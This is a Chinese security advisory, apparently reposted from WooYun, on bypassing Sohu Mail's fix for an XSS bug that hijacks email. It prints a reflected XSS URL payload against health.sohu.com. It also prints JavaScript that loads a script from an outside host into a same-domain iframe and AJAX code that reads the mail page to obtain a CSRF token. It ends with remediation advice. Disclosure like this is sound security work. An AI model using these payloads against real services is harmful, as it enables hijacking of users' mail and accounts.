神刀安全网

漏洞标题: 利用搜狐邮箱XSS劫持用户邮件(修复不当再次绕过)

漏洞详情

披露状态:

2016-04-02: 细节已通知厂商并且等待厂商处理中
2016-04-02: 厂商已经确认,细节仅向厂商公开
2016-04-12: 细节向核心白帽子及相关领域专家公开
2016-04-22: 细节向普通白帽子公开
2016-05-02: 细节向实习白帽子公开
2016-05-17: 细节向公众公开

简要描述:

昨天收到厂商送的狐狸,比上次送的狐狸大,晚上再挖一个还你
这个就说明了,为什么治标不治本,还能绕过,没有去找根本原因

详细说明:

1.官方对于漏洞修复如下

漏洞标题:  利用搜狐邮箱XSS劫持用户邮件(修复不当再次绕过)

code 区域
if(window.location.href!==top.location.href){document.domain = "mail.sohu.com"; setInterval(function() {document.domain = "mail.sohu.com"; }, 5); location.href = "http://ni.nongshalei"; }

2.这种修复暂时没想到办法绕过,这个时候我做了一个假设,一个项目不可能一个人写的,肯定有疏漏的地方…,于是我找到下面这个页面

code 区域
http://mail.sohu.com/blank.html

3. 这个属于souhu.com域的,如图

漏洞标题:  利用搜狐邮箱XSS劫持用户邮件(修复不当再次绕过)

4.送你一枚反射XSS漏洞

code 区域
http://health.sohu.com/so/index.shtml?t=news&wd=96315%27%22onmouseover=%22alert(/1/)%22style=%22font-size:9999999999999999px;%22

———————————————————————————————–

5.下面是测试截图,利用http://mail.sohu.com/blank.html来请求http://mail.sohu.com的csrftoken,有了csrftoken,下面就不用我说了

漏洞标题:  利用搜狐邮箱XSS劫持用户邮件(修复不当再次绕过)

6.下面是测试代码

code 区域
var t=document.createElement("iframe");
t.setAttribute("src","http://mail.sohu.com/blank.html");
t.height="700";
t.width="700";
t.id="xss123";
document.body.appendChild(t);
function aaa(){
var ccc=document.getElementById("xss123").contentWindow;
var e=ccc.document.createElement("script");e.setAttribute("id","bdtbmarklet");e.setAttribute("src","http://192.168.1.103/1.js");ccc.document.body.appendChild(e);

}

setTimeout("aaa()",3000);//

code 区域
function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
alert(xmlhttp.responseText);
}
}
xmlhttp.open("GET","http://mail.sohu.com/",true);
xmlhttp.send();
}
loadXMLDoc()

7.为什么加载本地JS,因为新浪云没豆用不了,JS就是一个AJAX请求代码

漏洞证明:

1.漏洞证明看上面

2.吹过的牛B要兑现,都说了,治标不治本,肯定还能再挖出来

修复方案:

1.每个页面都加段JS不现实,毕竟全网站多少页面你算算看

2.之所以可以再次绕过,归根结底是因为默认可以相同域请求,就是

mail.souhu.com/blank.html可以请求mail.souhu.com

4.没有设置的情况下,默认是

code 区域
Access-Control-Allow-Origin: mail.souhu.com

5.可以在http://mail.sohu.com/设置Access-Control-Allow-Origin,一般用不到的域名拒绝请求就行了,然后再看看允许请求的页面有没有设置window.top.location.href

6.也可以设置白名单的请求列表,这样修复就大大的缩短了范围

7.Access-Control-Allow-Origin和document.domain两个是不一样的,document.domain设置不会影响Access-Control-Allow-Origin,Access-Control-Allow-Origin设置不会影响document.domain

8.上面只是小白的建议

9.知其然知其所以然,毕竟查过资料自己测试进行对比得出的结论

版权声明:转载请注明来源 q601333824@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 利用搜狐邮箱XSS劫持用户邮件(修复不当再次绕过)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址